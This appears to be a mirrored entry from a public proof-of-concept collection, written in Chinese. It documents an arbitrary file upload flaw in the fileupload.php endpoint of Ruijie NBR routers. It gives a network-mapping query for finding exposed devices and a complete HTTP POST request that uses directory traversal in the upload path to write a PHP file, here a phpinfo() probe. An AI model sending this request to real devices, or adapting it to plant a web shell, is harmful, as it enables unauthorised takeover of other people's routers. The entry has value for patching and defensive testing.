mirror of
https://github.com/Threekiii/Awesome-POC.git
synced 2025-11-08 12:25:11 +00:00
41 lines
984 B
Markdown
41 lines
984 B
Markdown
# 锐捷 NBR 路由器 fileupload.php 任意文件上传漏洞
|
||
|
||
## 漏洞描述
|
||
|
||
锐捷 NBR 路由器 fileupload.php文件存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件到服务器获取服务器权限
|
||
|
||
## 漏洞影响
|
||
|
||
锐捷 NBR 路由器
|
||
|
||
## 网络测绘
|
||
|
||
```
|
||
app="Ruijie-NBR路由器"
|
||
```
|
||
|
||
## 漏洞复现
|
||
|
||
|
||
|
||
出现漏洞的文件在 /ddi/server/fileupload.php， 该文件为标准的文件上传文件
|
||
|
||
|
||
|
||
文件名及目录均可控，导致可以任意上传文件
|
||
|
||
```
|
||
POST /ddi/server/fileupload.php?uploadDir=../../321&name=123.php HTTP/1.1
|
||
Host:
|
||
Accept: text/plain, */*; q=0.01
|
||
Content-Disposition: form-data; name="file"; filename="111.php"
|
||
Content-Type: image/jpeg
|
||
|
||
<?php phpinfo();?>
|
||
```
|
||
|
||
|
||
|
||
访问上传的文件目录
|
||
|
||
 |